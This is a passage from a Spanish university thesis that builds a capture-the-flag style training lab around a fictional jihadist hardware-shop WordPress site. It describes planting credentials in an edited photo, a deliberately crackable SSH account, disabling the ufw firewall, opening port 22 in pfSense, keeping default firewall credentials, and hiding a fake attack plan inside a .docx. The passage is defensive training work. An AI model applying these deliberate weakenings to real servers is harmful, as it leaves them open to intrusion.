FERRETERIA ONLINE e

Escribir Gestionar Disefio Comentarios
Entradas Paginas Enlaces Categorias Etiquetas Categoriasde enlaces Biblioteca de medios Importar Exportar
iWordPress 4.9.4 esta disponible! Por favor, actualiza tu blog

Escribir entrada

Titulo Ver esta entrada

Nuestros héroes siempre estan preparados Eetaic ua publicaitn

Entrada Afadir medios: [m] [ JI # Visual HTML

D Mantener como privada

3] Publicada el
10 Febrero 2018 a las
16:36 Editar

B I s = 1=« = g|=T~E =

Ruta:

Figura 3-39 Entrada privada

Por ultimo, como muestra la Figura 3-40, hemos configurado una serie de usuarios dentro del blog
yihadista. Dentro de estos usuarios podemos distinguir a poblacion espafiola como participantes del
blog, y a un administrador de origen marroqui, el cual pretendemos hacer pasar por uno de los lideres
terroristas. Dentro de la seccion de correos, hemos utilizado el mismo correo para todos los usuarios
excepto para el usuario marroqui, al cual le hemos asignado un correo con su propio nombre. Esto
debe servir como indicio al alumno que realice el ciberejercicio de que este usuario tiende a utilizar su
nombre de pila como nombre de usuario en diferentes campos: usuario de una pagina web, correo
electronico, nombre de usuario de un equipo, etc.

. Nombre de usuario Nombre Correo electronico Entradas
Alvaro Alvaro Armijo Fuentes yihadismo2018@amail.com Suscriptor v]
lgnacio lgnacio 5anchez Romero yihadismo2018@amail.com Colaborador v]
Jesus Jesus Castro Marcos yihadismo2018@amail.com Editor v]
Juan Juan Garcia Rossi yihadismo2018@gmail.com Administrador 2
Juansito Juan Carlos Crespo Gomez yihadismo2018@amail.com Autor v]
Marcos Marcos Lopez Gerente yihadismo2018@amail.com Autor v]

Administrador 2

Qutaybah@gmail.com

Qutaybah Mohammed

Figura 3-40 Usuarios del blog yihadista

Para que nuestro alumno pueda acceder a la informacion de los usuarios, hemos configurado un
segundo usuario de origen espafiol como administrador de la web. Mas adelante, simularemos una
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intrusion del CNI en la red yihadista y una captura de trafico por parte de éste en la que se podran
encontrar las credenciales necesarias para entrar como usuario administrador en la web.

3.5.5.3 Imagen privada

La zona privada se denomina asi porque el contenido de ésta debe ser de acceso exclusivo para los
usuarios registrados. En este caso, la zona privada contiene imagenes a las que solo los usuarios de
Wordpress tendran acceso.

Entre las diferentes imagenes privadas que hemos subido a la web yihadista, hemos modificado
una con GIMP [84]. Esta herramienta es un editor de im&genes que hemos descargado desde su pagina
oficial [85] y que hemos utilizado para afadir informacion clasificada a la imagen privada. En la
Figura 3-41 podemos ver la imagen original.

Figura 3-41 Imagen original [86]

Lo que se ha pretendido simular con esta accion es recrear una situacion muy conocida en el
mundo de la ciberseguridad [87], en la cual, durante una entrevista a los funcionarios que emiten las
alertas de misil en Hawai, se toma una fotografia donde posa un funcionario y, de fondo, puede verse
un post-it con la contrasefia de uno de los equipos. En la Figura 3-42 se puede ver la imagen original
de la entrevista.

Figura 3-42 Entrevista en Hawai [87]
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Para editar nuestra imagen ha sido necesario, en primer lugar, una fotografia de un post-it en el que
hemos escrito un usuario y una contrasefia. En la Figura 3-43 podemos ver la imagen del post-it.

Figura 3-43 Post-it con informacion clasificada

A continuacion, con el uso del GIMP hemos recortado la imagen del post-it de manera que diese la
impresion de encontrarse en el mismo plano del espacio que el ordenador de la imagen yihadista
original y le hemos aplicado algunos filtros para adaptar el color del post-it a la imagen yihadista. En
la Figura 3-44 se puede ver el resultado de la imagen del post-it.

Figura 3-44 Filtros aplicados a la imagen del post-it

Posteriormente, hemos superpuesto la imagen del post-it sobre la imagen yihadista. Para dar
sensacion de realidad, hemos establecido un efecto en la fotografia ya editada y le hemos dado a la
imagen del post-it un leve efecto de sensacion de profundidad para aumentar el realismo. Como
resultado final, en la Figura 3-45 podemaos distinguir un post-it en la carcasa del ordenador en el que se
pueden apreciar las credenciales del usuario de la fotografia. En este caso, la persona simula ser uno de
los usuarios de la red LAN de la red yihadista que estamos configurando.
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Figura 3-45 Imagen editada de la zona privada de la web

Para concluir hemos subido a la zona privada de la web la imagen editada, con intencion de que el
alumno, cuando acceda a la zona privada y navegue entre las diferentes imagenes, se percate del error
que han cometido los miembros de la web subiendo la fotografia de este usuario de la red LAN.

3.5.6 Configuracion del servidor

La idea sera que nuestro alumno consiga obtener los nombres de los diferentes usuarios de la
pagina web yihadista y los utilice para acceder al servidor web a través del protocolo SSH, el cual
habremos dejado abierto para permitir conexiones, y asi tomar el control de uno de los equipos de la
DMZ de la red yihadista. Para hacer esto posible debemos:

e Instalar el servicio ssh-server en el servidor.
o $sudo apt-get install openssh-server
o Puesto que vamos a permitir la entrada por el puerto 22 al servidor de la DMZ, es
importante configurar el servicio SSH para evitar un ataque de fuerza bruta de gran
magnitud y asi obligar al ciberatacante a reducir las combinaciones de usuarios y
contrasefias al maximo. De este modo forzaremos al ciberatacante a buscar
informacion en la web antes de atacar directamente al servidor. Para ello, como
muestra la Figura 3-46, estableceremos un tiempo de espera por cada combinacion
errénea introducida en el puerto 22 del servidor.
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Archivoe Maquina Ver Entrada Dispositivos Ayuda
GNU wnano 2.2.6 Archivo: sshd_config

FyslogFacility AUTH
ogLlevel INFO

t Authentication:

oginGraceTine 120
PermitRootLogin without-password
FtrictModes yes

iSAfAuthentication yes
PubkeyAuthentication yes
tAuthor izedKeysFile #hs.sshrsauthorized_keys

t Don't read the user’'s ~~.rhosts and ~~.shosts files
[gnoreRhosts yes
t For this to work you will also need host keys in ~setc/ssh_known_hosts
fhost=R3AAuthentication no
t zimilar for protocol versiom 2
ostbasedAuthentication no
t Uncomment if you don't trust “/.sshrsknoun_hosts for RhostsRSAAuthentication
t IgnorelUserKnownHosts yes

[[] Ver ayuda il Guardar  § Leer fich.j #] Cortar Texjfi{d Posicidn
TX Salir fil Justificari!] Buscar ag . ] PegarTxt )y Ortografia

Archivo Maquina Ver Entrada Dispositivos Ayuda
GNU nano 2.2.6 firchivo:! =shd_confiyg

HostKey ~etcrssshessh_host_dsa_key

HostKey ~etcrssshessh_host_ecdsa_key

HostKey retcrsshrssh_host_ed25519_key
kPrivilege Separation is turned on for security
UsePrivilegeSeparation yes

t Lifetime and =zize of ephemeral verszion 1 server key
KeyRegenerationInterval 3600
serverKeyBits 1024

tt Logging

3yslogFacility AUTH
LogLewvel INFO

t Authentication:
LoginGraceTime 5
PermitRootLogin no
StrictModes yes

RSfAAuthentication yes
[ 88 lineas escritas 1
i Ver ayuda @] Guardar jij Leer fich. ] Cortar Texf[§ Posicidn
il Justificarfl] Buscar ary . I] PegarTxt j§ Ortografia

Figura 3-46 Configuracién del servicio SSH antes / después

o Editaremos el archivo /etc/ssh/sshd_config y cambiaremos los parametros de
LoginGraceTime 120 a LoginGraceTime 5 y estableceremos la opcién
PermitRootLogin without-password como PermitRootLogin no.

Desactivar el firewall del servidor para permitir el acceso remoto y el escaneo de puertos
del servidor. El firewall de Linux que por defecto viene instalado es UFW (Uncomplicated
FireWall). Esto no seria estrictamente necesario, solo lo desactivamos por posibles reglas
que pudiesen afiadirse en algun momento al firewall y que interfiriesen en la conexion por
SSH.

o $ sudo ufw disable

Configurar el nombre de usuario del servidor que aloja la web yihadista y su contrasefia
acorde a datos que podamos extraer facilmente.

61



FERNANDO HERNANDEZ DE ARMIJO CASAS

Se trata de aprovechar la ingenieria social como medio de ataque Yy, en este caso, de aprovechar el
nombre del usuario administrador marroqui.

Cambiaremos el nombre del usuario administrador del servidor, que hasta ahora era ‘server’, y
configuraremos una contrasefia facil de romper a través de diccionarios para que, a través de
aplicaciones de Kali Linux, se pueda conseguir descifrar rapidamente y se pueda tener el control del
servidor en el que se aloja la pagina web. Para modificar las credenciales del servidor deberemos hacer
uso de los siguientes comandos.

$ sudo usermod —/ ‘nuevo_nombre’ ‘nombre-antiguo’
$ sudo passwd ‘usuario’

*hkkhhkkkhkhkkkikikkik

*hkkkhkhkhkkhkhkhkkikikikik

3.5.6.1 Configuracién de direcciones

Por el momento, el servidor esta configurado para mostrar en http://localhost/ la pagina principal
de Apache y, que desde ésta, se pueda acceder tanto a nuestra pagina de Wordpress como a nuestra
base de datos de phpmyadmin utilizando las siguientes URL’s:

e Wordpress: http://localhost/wordpress
e Phpmyadmin: http://localhost/phpmyadmin

Cuando incorporemos el servidor virtual a la maqueta de red y le proporcionemos una URL
(www.tfg.dunquerque.cud.uvigo.es) a través del servidor DNS de la DMZ de la maqueta, queremos
que esta URL, asociado a la IP 192.168.16.10, futura IP de nuestro servidor virtual, nos redirija a
nuestra web de Wordpress y no a la pagina principal de Apache.

Para ello deberemos modificar el archivo /etc/apache2/sites-available/000-default.conf y cambiar
DocumentRoot /var/www/html por DocumentRoot /var/www/html/wordpress. En la Figura 3-47 se
puede ver el resultado final.

GNU wmano 2.2.6 Archivo: ...ached2r/sites-availables000-default.conf

VirtualHost =:80>
# The ServerMame directive sets the request scheme, hostname and port t$
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the 3erverName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtwual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtwual host explicitly.
f#iServerName wuww.example.com

Serverfidmin webmasterPlocalhost
DocumentRoot svarswwurshtml /uordpress

# Available loglevels: trace8, ..., tracel, debug, info, notice, warn,
# error, crit, alert, emerg.

# It is also possible to configure the loglevel for particular

# modules, e.g.

#tLogLevel info ssl:warn

ErrorLog S{HPHCHE_LDG_DIR}/eerr.lug
[ 31 lineas leidas 1
[ Ver ayuda @] Guardar ] Leer fich. @8 Cortar Texfi Posicidn
fil Justificarll Buscar ag . ] PegarTxt iy Ortografia

Figura 3-47 Configuracion de ruta

Una vez hemos indicado que queremos que nuestra web de Wordpress se encuentre en la ruta de
nuestra IP local, deberemos mover el directorio de phpmyadmin dentro del directorio de Wordpress
para poder encontrarlo de nuevo en la ruta http://localhost/phpmyadmin. Para ello nos dirigimos a
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Ivar/www/html y ahi se encontraran los directorios de phpmyadmin y de Wordpress. Solo deberemos
mover phpmyadmin ejecutando lo siguiente.

$ sudo mv /var/www/html/phpmyadmin /var/www/html/wordpress
3.5.6.2 Incorporacion del servidor Wordpress a la maqueta de red

Para transferir el servidor yihadista al servidor dunquerque lo podemos hacer empleando dos
métodos:

e Extraer el servidor yihadista virtual como un archivo .ova y, a través de Filezilla,
transferirlo al servidor dunquerque y cargarlo en el VirtualBox de este ultimo servidor.

e Transferir al servidor dunquerque los dos archivos principales que constituyen nuestro
servidor virtual y, una vez en dunquerque, guardarlos en la misma carpeta. Estos archivos
son los archivos .vbox (se corresponde a la configuracion de la maquina virtual) y .vdi (se
corresponde con el disco duro virtual del servidor).

Hemos optado por esta segunda opcién ya que, durante la primera opcion, el VirtualBox del
servidor dunquerque no era capaz de cargar correctamente el archivo .ova. Una vez transferido y
cargado nuestro servidor yihadista en el VirtualBox de dunquerque, pasamos a modificar la
arquitectura de red. Inicialmente, la DMZ de nuestra red virtual se compone de cinco servidores:

Un servidor de base de datos.

Un servidor DNS.

Un servidor web.

Un servidor de correo electrénico.
Un servidor FTP.

El servidor que estamos configurando es un servidor web con su propia base de datos, por lo que
sustituira al servidor web inicial. Por ello, lo primero que debemos hacer es apagar el servidor web
original. Una vez apagado, arrancaremos nuestro servidor yihadista y modificaremos el archivo
letc/network/interfaces y definiremos su interfaz ethO con la misma configuracion que tenia el servidor
web que acabamos de apagar. En la Figura 3-48 podemos ver el resultado de la interfaz modificada.

GHU nano 2.2.6 Archivo: retcsnetwork-interfaces Modif icado

This file describes the network interfaces available on your systen
and how to activate them. For more information, see interfaces(5).

The loopback network interface
uto lo
iface lo inet loopback

The primary network interface

static

.16.10

.255.0

6.1
ns-nameservers 192.168.16.20

[ Ver ayuda §ill] Guardar @i Leer fich.f§§] Pag. ant. i Cortar Tex{i Posicidn
Justificargll] Buscar Y] Pag. sig. Il PegarTxt )y Ortografia

Figura 3-48 Interfaz de red modificada
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En lugar de sustituir la maquina virtual por completo, lo que haremos sera sustituir nicamente su
disco duro, por lo que nos dirigiremos a la carpeta raiz de VirtualBox del servidor dunquerque y
entraremos en la carpeta /home/tfg/TFG/VMs/SEVER ubuntuS_1 y sustituiremos el archivo de
extension .vmdk (correspondiente al disco duro virtual del servidor web de la red) por el archivo .vmdk
correspondiente a nuestro servidor yihadista. En la Figura 3-49 podemos ver como se transfiere el
servidor yihadista al servidor dunquerque.

Aplicaciones Lugares v & FileZilla v lun 17:19 @
sftp://tfg@dunquerque.cud.uvigo.es - FileZilla e e 0
Archivo Edicién Ver Transferencia Servidor Marcadores Ayuda
= BEO0E oo« =asa
Servidor: | sftp://dunquerque| Mombre de usuario: |tfg Contrasefia: (essessesi Puerto: Conexion rapida | ~
‘‘‘‘‘‘‘‘ DECIOTY USUITY UF [U(ar VIv5/ SERVER - TV INZUUGS 5 SULCESSTUL -
Estado: Deleting "/data/VMs/SERVER_ubuntuS_1/maqueta-disk001.vmdk"
Estado: Conectando a dunquerque.cud.uvigo.es...
Estado: Connected to dunquerque.cud.uvigo.es
Estado: Comenzando la subida de /home/rootsudo/VirtualBox VMs/server linux 2/server linux 2-disk1.vmdk
[ 1
Sitio local: | /nome/rootsudo/VirtualBox VMs/server linux 2/ ¥ || | Sitio remoto: | /data/VMs/SERVER _ubuntuS_1 v
Logs B 2l Logs
Snapshots 2 Snapshots
Videos 2] SERVER_ubuntuS_2
armitage-tmp . #) SERVER _ubuntuS_3
[ Nombre de archiv Tamafo de Tipo de archive Ultima modificacic *| [ Nombre de Tamano de Tipo de arct Ultima modifici Permisos  Propietario/
Logs Directorio 26/02/18 16:39... Logs Directorio  26/02/18 17... drwx------ tfg tfg
Snapshots Directorio 15/02/18 19:09... Snaps... Directorio  05/02/18 22... drwx------ tfg tfg
B server linux ... 3.240.36... vmdk-archivo 26/02/18 17:14... SERV... 2.1799.. vdi-archivo 01/02/16 20... -rw------- tfg tfg
server linux 3.858 vbox-archivo 26/02/18 17:14.. SERV. 23527 vbox-arc... 26/02/18 17... -rw-----—- tfg tfg
server linux 3.859 vbox-prev-a.. 26/02/18 17:14.. SERV. 23.527 vbox-pre... 26/02/18 16... -rw------- tfg tfg
1 archivo seleccionado. Tamafio total: 3.240.361.984 bytes 3 archivos y 2 directorios. Tamafio total: 2.180.036.558 bytes
Servidor/Archivo local Direcciér Archivo remoto Tamafio Prioridad Estado
/home/rootsudorVirt. -->>  /data/\VMs/SERVER_ubu... 3.240.36... Normal Transfiriendo
00:03:05 transcurrido  quedan 00:04:10  [R. 7% 1.386.168.320 bytes (7,2 MiBfs)

Archivos en cola (1) |Transferencias fallidas Transferencias satisfactorias

D@ Encola: 3,1GiB ce

Figura 3-49 Transferencia al servidor dunquerque

Al iniciar el servidor web en el VirtualBox de dunquerque, deberemos asegurarnos de establecer la
nueva ruta para que el servidor virtual arranque desde el disco duro virtual que acabamos de
incorporar.

3.5.7 Captura de tréafico

Una de las evidencias que deberemos facilitar al alumno, serd una traza de trafico en la que haya
informacion confidencial capturada. Con ello el alumno podra poner en préctica el estudio de paquetes
capturados por Wireshark. Esta traza se la daremos al alumno una vez haya investigado la zona publica
de la ferreteria online de la red yihadista y haya descubierto el mensaje oculto en una de las
fotografias.

Para ello, simularemos ser el CNI y haber entrado de forma silenciosa en la red doméstica de
nuestro usuario sospechoso, el cual nos ha llevado a investigar la pagina web de la ferreteria. Este
usuario sera uno de los registrados en dicha pagina y el CNI capturard una traza en la cual se
encuentran los datos de acceso del usuario.

3.5.7.1 Wireshark

Para capturar la traza de trafico, abriremos la herramienta wireshark y capturaremos el trafico de
nuestra estacion de trabajo (simulando ser el usuario que estd bajo investigacion) conectando con la
ferreteria online. Navegaremos por algunas paginas web de Internet y, entre ellas, accederemos a
http://www.tfg.dunquerque.cud.uvigo.es y nos loguearemos para acceder a la zona privada. Hecho esto,
puesto que nuestro servidor yihadista donde esta instalada la pagina de Wordpress trabaja en el puerto
80, el trafico capturado ira en claro. En la Figura 3-50 podemos ver la traza de trafico en el proceso de
captura de trafico de wireshark.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

p B a = =
A @ NG QReEEF IS = AQAQAE
(W] Apely a display filter ... <Curl-/> ~| Expression... = +
No. Time Source Destination Protocol Lengtt Info =
1 0.000000000  193.146.212.33 141 3921 - 42682 [PSH, ACK] Seq=1 Ack=1 Win=336 Len=75 TSval=27925719 TSecr=1266603195
| 2 0.000029450  192.168.1.247 193.146.212.33 TCP 66 42682 ~ 3921 [ACK] Seq=1 Ack=76 Win=1444 Len=0 TSval-1266683395 TSecr=27925719
3 0.123921882  HewlettP 6d:e@:f7 Broadcast ARP 60 Who has 192.168.1.387 Tell 192.168.1.239
| 4 8.133719828 HewlettP 6d:e@:f7 Broadcast ARP 68 Who has 192.168.1.227 Tell 192.168.1.239
f 5 0.133739898 HewlettP_6d:e@:f7 Broadcast ARP 60 Who has 192.168.1.377 Tell 192.168.1.239
| 6 0.133743728 HewlettP 6d:e@:f7 Broadcast ARP 60 Who has 192.168.1.387 Tell 192.168.1.239
| 7 8.133746683 HewlettP 6d:e@:f7 Broadcast ARP 68 Who has 192.168.1.487 Tell 192.168.1.239
f 8 0.157378602 192.168.1.19 255.265.265.2558 DB-LSP.. 222 Dropbox LAN sync Discovery Protocol
f 9 @.157714351 192.168.1.19 192.168.3.255 DB-LSP.. 222 Dropbox LAN sync Discovery Protocol
10 8.200541187 193.146.212.33 192.168.1.247 TCP 141 3921 - 42682 [PSH, ACK] Seq=76 Ack=1 Win=336 Len=75 TSval=27925769 TSecr=1266683395
11 0.200570817  192.168.1.247 193.146.212.33 TCP 66 42682 — 3921 [ACK] Seq=1 Ack=151 Win=1444 Len=0 TSwal=1266603596 TSecr=27925769
' 12 0.242974407  HewlettP_6d:e@:f7 Broadcast ARP 60 Who has 192.168.1.397 Tell 192.168.1.239
| 13 0.275289823  HewlettP_e7:B7:6e Broadcast ARP 60 Who has 192.168.1.77? Tell 192.168.1.192
1 41 0 AQDRARA292 402 448 217 29 109 180 1 247 Trn 444 9091 4982 TNEL  ACK1 San—1E4 Ack—1 Win=298 | an=7E T€unl-9707E010 TE€nrr—198ERAIENE bt

Frame 1: 141 bytes on wire (1128 bits), 141 bytes captured (1128 bits) on interface @

Ethernet II, Src: Cisco_fc:24:06 (00:07:b3:fc:24:06), Dst: CompalIn 68:55:64 (f0:76:1c:68:55:64)
Internet Protocol Version 4, Src: 193.146.212.33, Dst: 192.168.1.247

Transmission Control Protocol, Src Port: 3921, Dst Port: 42682, Seq: 1, Ack: 1, Len: 75

Data (75 bytes)

vvrrywwy

@ 76 1c 68 55 64 00 7 b3 fc 24 06 08 80 45 60  .v.hUd.. ..$...E.
80 7f 08 2e 40 00 3f 06 da f7 c192d4 21 c@ a8  ....0.7. ..... [
81 7 OF 51 a6 ba 86 9e 62 c@ 31 @f 58 37 80 18  ...Q.... b.1.X7..
01 50 63 b 06 00 61 01 ©8 0a B1 aa 1c d7 4D 78 .PC..... ...... K~
04 bb 80 4b a5 fa a4 b9 5d 70 36 @a 21 df d9 T8 ...K.... ]p6.!...
ab c1 80 fa 5a 6b c4 04 32 03 ea 84 35 81 14 86  ....Zk.. 2...5...
89 62 Be 6d 5e 15 61 2d ac Ob Be 88 d5 82 ¢5 15  .b..h.A- ........
fa 78 4d 92 42 b5 8e al 6 1b b9 3a 4d 6a df 72  .xM.B... o..:Mj.r
24 68 cc 33 75 3a 8e 97 25 c5 4 98 c1 §h.3u:.. %.0..
@ 7 enp8s0: <live capture in progress> Packets: 1114 - Displayed: 1114 (100.0%) Profile: Default

Figura 3-50 Captura de tréafico

Una vez tenemos la traza, paramos la captura de trafico y guardamos la traza con extension
.pcapng. Este archivo se le proporcionara, como hemos indicado anteriormente, al alumno una vez
haya confirmado actividad terrorista mediante el estudio de las imagenes publicas.

3.5.8 Configuracion de Pfsense

Pfsense es el firewall que protege nuestra red virtual. Hasta el momento, las restricciones que
mantenia eran muy severas, por lo que nos hemos visto obligados a modificarlas. Puesto que uno de
los objetivos del ciberataque es tomar el control del servidor de la DMZ a través del puerto 22,
debemos incorporar una nueva regla al firewall: permitir el paso del trafico del exterior que circule por
el puerto 22 y redireccionarlo a nuestro servidor web de Wordpress.

Lo primero que debemos hacer es acceder a la configuracion del firewall Pfsense. Para ello, a
través de KRDC, hemos accedido a uno de los equipos de la red LAN desde el cual hemos accedido al
firewall a través de la IP 192.168.8.1. Hemos debido hacerlo asi porque actualmente el firewall solo
acepta trafico desde la LAN y desde la DMZ. Una vez dentro de la configuracion de Pfsense, nos
dirigimos a firewall/rules y creamos una nueva regla.
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Firewall: Rules: Edit @E
Action el

Choose what to do with packets that match the criteria specified below.

Hint: the difference between block and reject is that with reject, a packet (TCP RST or ICMP port
unreachable for UDP} is returned to the sender, whereas with block the packet is dropped sileni
either case, the original packet is discarded.

Disabled - Disable this rule

Set this option to disable this rule without removing it from the list.

Interface WAN ~

Choose which interface packets must be sourced on to match this rule.

LA 1Pv4 v | Select the Internet Protocol version this rule applies to

Protocol Tcp -

Choose which IP protocol this rule should match.
Hint: in most cases, you should specify TCP here.

Source -

not
Use this option to invert the sense of the match.

Type: any W

Address: I .-'l -

Advanced |- Show source port range

Destination -

not
Use this option to invert the sense of the match.

Type: Single host or alias v

Address: JEERGERGEL]

A ) [ from: | S5H (22) v

U
range I
l—

to: 55H (22} .4

Figura 3-51 Nueva regla para el puerto 22

Como podemos ver en la Figura 3-51, permitiremos el paso del trafico que provenga de la WAN
(aquello que es externo a la red virtual que estamos configurando) por el puerto 22 y lo
redireccionaremos al puerto 22 de la IP del servidor Wordpress 192.168.16.10. En la Figura 3-52
podemos ver la nueva regla afiadida al final del resto de reglas de la DMZ del firewall. Ademas,
también sera necesario desactivar la regla de restriccion indicada.

V& rsenseirganaers < G

€ @©192.168.8.1 EJ| ¢ || Q search Ba & » =

» Services  » VPN » Status  » Diagnostics

GCoanc + System » Interfaces  » Firewall
- 0 7"

(SMTP) l..gl
-1 3 1Pvd WAN net * DMZ net 443 * none @[
TCP (HTTPS) L-gl
13 IPva WAN net * DMZ net 80 * none 3 'm
TCP (HTTP) L.gl
x| IPvd WAN net * LAN net * * none @[
i Rl
13 IPvd WAN net * DMZ net 53 * none lhlsm
TCP/UDP (DNS) L.Ql
3|
Ll
O 1Pv4 * * 192.168.16.10 | * * naone o
ICMP S{
e —————

Pl IPva * * 192.168.16.10 | 22 * none @[
—— TCP (S5H) ]
D IPvd * LAN net * none lhlsm
el

Lﬁ]
a1

Figura 3-52 Regla del puerto 22 afiadida a Pfsense
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Actualmente, como muestra la Figura 3-53, Pfsense no permite el acceso a la LAN desde la DMZ.
Esto es algo que nuestro alumno debera modificar durante la realizacion del ciberejercicio.

» System  » Interfaces  » Firewall  » Services » VPN » Status  » Diagnostics

Firewall: Rules (=

[ Floating [ wan | Lan

ID Proto Source Port Destination Port Gateway Queue Schedule Description

(Debug) ALLOW
ALL OM ALL PORTS

S TO INTERMET

* LAN net * * none Aislar LAN
completamente

| ’ = mane
TCP (IMaP)

2 IPwd DMZ net * ! LAN net 21 * none
TCP (FTP)

2 IPwd DMZ net * ! LAN net 25 * none
TCP (SMTP)

Figura 3-53 Prohibicion de acceso a la LAN desde la DMZ

Por ultimo, para que el alumno pueda acceder al firewall de la red, deberiamos configurar el
usuario y contrasefia y establecer las credenciales que vendrian por defecto. De esta manera, el
alumno, con ayuda de informacion publica de Internet, podria obtener facilmente el usuario y
contrasefia. Sin embargo, el firewall ya tenia establecida su configuracién de usuario y contrasefia por
defecto (nGtese que las personas no protegen con la seguridad adecuada aquello que prevén que es
seguro), por lo que no lo modificaremos.

3.5.9 Configuracion equipo LAN

Hasta ahora, la red LAN estaba configurada Gnicamente con equipos con diferentes distribuciones
del sistema operativo Windows. Por razones de comodidad a la hora de trabajar con comandos y dar
un poco de variedad a los equipos de la red LAN, lo que haremos sera sustituir, al igual que hicimos
con el servidor web de la arquitectura de red inicial, el disco duro virtual de un equipo de Windows, en
concreto del equipo USER_WIN7_1, por un disco duro virtual llamado ‘armijo’ con la distribucion de
Ubuntu 16.04. En la Figura 3-54 puede verse como sustituimos el disco duro virtual de la maquina.
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USER_WIN7_1 - Configuracion

@ General ‘ Almacenamiento
Sistema Arbol de almacenamiento Atributos
Pantalla £ Controlador: SATA Disco duro: |Puerto SATA 0 =
Almacenamiento rc tabl lient
(%) VBoxGuestAdditions.iso HiEiElLE =0 2 =i
Audio Informacicn

Tipo (Formato): Normal (VDI)

PEY

Red .
Tamaiio Virtual: 10,00 GB
Puertos serie Tamarfio Actual: 6,37 GB
Detalles: Almacenamiento resevado dina...
& Use Ubicacion: fhome/tfg/TFG/VMs/USER_WINT/...
|j Carpetas compartidas Conectado a: --

_ Cifrado con clave: --
El Interfaz de usuario

BE&a

Aceptar I Cancelarl Ayuda

Figura 3-54 Sustitucién de Windows por Ubuntu en la red LAN

También deberemos configurar su interfaz de red acorde al equipo al cual hemos suplantado
dentro de la red LAN. En la Figura 3-55 se muestra su nueva configuracion de red.

armijo@armijo-VirtualBox: ~
GNU nano 2.5.3 Archivo: /etc/network/interfaces

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback

auto enp@s3

iface enp@s3 inet dhcp
etmask 255.255.248.0
pateway 192.168.8.1

8 lineas leidas
¢ Ver ayuda g Guardar WY Buscar WY Cortar TexyM Justificargd Posicion
Wil Leer fich.[@| Reemplazaridl] Pegar txt gl Ortografiagll Ir a linea

Figura 3-55 Interfaz de equipo de red LAN

A diferencia de la DMZ, en la red LAN las interfaces estan configuradas segun el protocolo DHCP
(Dinamic Host Configuration Protocol) [88]. Este protocolo permite a los nodos de una red IP obtener
sus parametros de configuracion automaticamente. En este caso se asigna una IP dentro del rango de
IP’s que se ha establecido para la red LAN: 192.168.8.1/21.

En este equipo se encontrara instalado un servidor SSH y dejaremos habilitado el puerto 22.
Tambien deberemos modificar el usuario y contrasefia acorde al usuario y contrasefia que dejamos
como pista en la Figura 3-45.
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3.5.9.1 Plan terrorista

Los documentos de formato .docx son la evolucién del formato .doc y su principal ventaja es el
espacio que ocupa este tipo de archivos: tienen una compresion sin pérdida incorporada. Por norma
general, un archivo .docx tiene la mitad de tamafio que un archivo .doc; esto facilita el envio de
documentos por correo electronico o la realizacion de copias de seguridad. Todo esto es debido a que
los archivos .docx son realmente archivos .zip compuestos por diferentes archivos [89]. Esta es la
caracteristica principal que explotaremos en este apartado.

Como se pude ver en la Figura 3-56, procederemos a crear un archivo .docx en el que simularemos
una factura de la ferreteria.

CANTIDAD PRECIO € TOTALE

Destornillador 40 6 240
Tornillos 500 0,20 100
Tuercas 500 0,20 100
Alambre 100 m 2 200
Cinta 400 m 0,5 200
Llave 30 8 240
TOTAL - - 1080

Figura 3-56 Factura

A continuacion, como se ve en la Figura 3-57, cambiaremos la extension de nuestro documento
.docx a la extensién .zip. Accederemos a la ruta /Factura.zip/word/media en la que se guardan las
iméagenes del documento y copiaremos unas imagenes que hemos descargado de Internet de la Puerta
del Sol de Madrid, simulando ser éste el objetivo de un atentado. A mayores, afiadiremos una imagen
con datos clave como la hora y el dia previstos del atentado, el lugar y el tipo de explosivo (Figura
3-58).
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BT Nuevo elemento - Ab Se
- v

1CCEE0 f | Facil acceso ~ M

Mover Copiar | Eliminar Cambia Mueva Fropiedades )
ecto 3 - nombre  carpeta ¢ - £ Histarial DD In
Organizar Muevo Abrir
Mombre Fecha de modifica..  Tipo Tamafic
|&| Datosclave.png Archivo PNG IKE
@ Factura.zip 13/03/2018 1719 Archivo WinRAR £... 1.126 KB
|&] Puertadelsal.png 04,/03/2018 13:53 Archivo PNG 1100 KB
|&| Puertadelsol2.png 04,/03/2018 13:52 Archive PNG 10KE

Figura 3-57 Documento .zip

@ Factura.zip - WinRAR (copia de evaluacion)

Archive Ordenes  Herramientas  Favoritos Opciones  Ayuda

== JRNgy G i T T

Afiadir  Extraeren Comprobar Ver Eliminar Buscar  Asistente Infermacidn

W 4 %

Buscarvirus Comentaric  auto extraible

m |E Factura.ziphwerd\media - archive ZIP, tamario descomprimide 1,206,368 bytes

Maombre ’ Tamafic Comprimide Tipo Maodificado CRC32
Disco local :
|| Puertadelsol2.png 10.234 10,211 Archivo PNG 04/03/2018 13:52  5A4604AT
|&| Puertadelsol.png 1.125.402 1116311 Archive PNG 04/03/201813:33 TABAGF4E
|&| imagel.png 10,498 10498 Archivo PNG 01/01/1980 0:00  4D930939
|&| Datosclave.png 2.630 2453 Archivo PNG 01/01/1980 0:00  DOD2ED4F

Figura 3-58 Plan terrorista

Una vez incorporadas las imagenes con los datos elegidos, volveremos a cambiar la extension del
documento a un documento .docx. Es importante incorporar los archivos en la ruta elegida y
asegurarse de que son imagenes en formato png y que sus nombres no contienen espacios, de lo
contrario, cuando intentemos abrir el documento .docx, nos aparecera un error de lectura.

Para finalizar, transferiremos el archivo a la carpeta /Documentos de la maquina de la red LAN
cuyo acceso debera conseguir el alumno que realice el ciberejercicio.
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4 \/ALIDACION DEL CIBEREJERCICIO

4.1 Introduccion

En este capitulo llevamos a cabo una validacion del ciberejercicio planteado. Definimos también
un enunciado del ciberejercicio (el enunciado completo puede verse en el Anexo I: Enunciado del
ciberejercicio) que consta de una serie de apartados, a los cuales les asignamos pistas en caso de que el
alumno que lleve a cabo el ciberejercicio no supiese cdmo continuar. Puesto que nosotros ya sabemos
como resolverlo, nos cefiiremos a una resolucion directa del ciberejercicio. Cabe mencionar que habria
otras maneras de resolverlo, otro tipo de ciberataques, etc. Si no los hubiese, estariamos afirmando que
podriamos hacer un entorno con una seguridad absoluta. Para este capitulo, trabajaremos
principalmente con el equipo HP con el sistema operativo Kali Linux.

4.2 Acceso a la zona publica
4.2.1 Enunciado

Se ha detectado a un usuario con antecedentes penales visitando algunas paginas de actividad
ilegal dentro de la Deep Web. Tras varias semanas llevando a cabo una investigacion en secreto sobre
